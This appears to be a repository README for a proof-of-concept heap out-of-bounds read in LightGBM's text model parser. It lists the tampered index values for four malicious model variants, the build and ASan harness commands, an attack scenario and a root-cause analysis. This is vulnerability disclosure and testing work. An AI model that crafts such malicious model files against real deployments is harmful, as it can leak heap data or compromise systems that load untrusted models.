YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
LightGBM Model File Parser β Heap Out-of-Bounds Read PoC
Vulnerability Summary
Class: AI/ML Model Parser Trusts File-Controlled Indices β Heap OOB Read
Component: Microsoft LightGBM (v4.x, latest main branch)
Root Cause: Tree::Tree(const char*, size_t*) in src/io/tree.cpp parses left_child,
right_child, split_feature, and threshold arrays from text model files without
validating that the integer values are within legal ranges. At prediction time,
Tree::GetLeaf() in include/LightGBM/tree.h uses these values as array indices
with no bounds checks, causing heap-buffer-overflow reads.
CVE: Related to CVE-2024-43598 (LightGBM model file parsing) Affected Functions:
Tree::GetLeaf()β tree.h:702-714 (main traversal, indexessplit_feature_[node])Tree::NumericalDecision()β tree.h:338-356 (indexesthreshold_[node],decision_type_[node])Tree::LeafOutput()β tree.h:92 (indexesleaf_value_[leaf])Tree::Decision()β tree.h:402-408 (dispatches based ondecision_type_[node])
Crash Variants
| File | Tampered Field | Evil Value | Crash Location |
|---|---|---|---|
malicious_oob_left.txt |
left_child[0] |
100 | Tree::GetLeaf (tree.h:710) β OOB on split_feature_[100] |
malicious_oob_right.txt |
right_child[0] |
200 | Tree::GetLeaf (tree.h:710) β OOB on split_feature_[200] |
malicious_oob_leaf.txt |
left_child[0] |
-100 | Tree::LeafOutput (tree.h:92) β OOB on leaf_value_[99] |
malicious_oob_split_feature.txt |
split_feature[0] |
9999 | Tree::GetLeaf (tree.h:710) β OOB on feature_values[9999] |
All 4 variants confirmed with ASan heap-buffer-overflow READ.
How to Reproduce
Prerequisites
- clang with ASan support
- Python 3.12+ with
lightgbmpackage (for training base model)
Quick Start
# 1. Build LightGBM with ASan
cd lightgbm-real/build
CC=clang CXX=clang++ cmake .. \
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
-DCMAKE_C_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DBUILD_STATIC_LIB=ON
make -j$(nproc)
# 2. Generate malicious models
python3 gen_poc_model.py
# 3. Build C++ harness
clang++ -fsanitize=address -g -O0 -fno-omit-frame-pointer -fopenmp \
-I../../lightgbm-real/include \
poc_harness.cpp \
../../lightgbm-real/lib_lightgbm.a \
../../lightgbm-real/build/external_libs/nanoarrow/libnanoarrow_static.a \
-o poc_harness -lpthread -ldl -lm
# 4. Run (input values force left-child traversal β OOB)
ASAN_OPTIONS=detect_leaks=0 ./poc_harness malicious_oob_left.txt 3
Or use build_and_test.sh for the full automated flow.
Python Reproduction
python3 poc_harness.py malicious_oob_left.txt
Note: Python binding loads the prebuilt shared library, so ASan traces depend on whether lib_lightgbm was built with sanitizers.
Attack Scenario
- Attacker crafts a malicious LightGBM text model file (this PoC automates it)
- Victim loads the model via
lgb.Booster(model_file='malicious.txt')or C API - Any prediction on the model triggers heap OOB read
- Attacker can potentially leak sensitive data from heap or achieve code execution via controlled OOB index values
Files
| File | Description |
|---|---|
gen_poc_model.py |
Generates malicious model variants from a valid base model |
poc_harness.cpp |
C++ test harness using LightGBM C API |
poc_harness.py |
Python test harness using lightgbm Python binding |
build_and_test.sh |
Automated build + test script |
valid_model.txt |
Valid LightGBM model (trained on synthetic data) |
malicious_*.txt |
4 crafted malicious model files |
asan_traces.txt |
Full ASan crash traces for all variants |
azure_impact.md |
Azure ML / Microsoft ecosystem impact analysis |
README.md |
This file |
Root Cause Analysis
LightGBM model files are text-based with key=value arrays per tree:
Tree=0
num_leaves=4
left_child=2 -2 -1
right_child=1 -3 -4
split_feature=1 0 0
threshold=-0.23 -0.45 -1e-35
During parsing (tree.cpp:690-871):
- Arrays are sized to
num_leaves - 1elements β - But the VALUES in those arrays are never validated β
During prediction (tree.h:702-714):
int node = 0;
while (node >= 0) { // Only sign check, no upper bound!
node = NumericalDecision(feature_values[split_feature_[node]], node);
}
return ~node;
split_feature_[node]is indexed withoutnode < num_leaves_ - 1check- The returned child index becomes the next
nodewithout bounds validation - Negative values index
leaf_value_via~nodewithout|leaf| < num_leaves_check
This is the systemic AI/ML model parser vulnerability class: binary/text format loaders trust file-controlled indices to index heap-allocated arrays.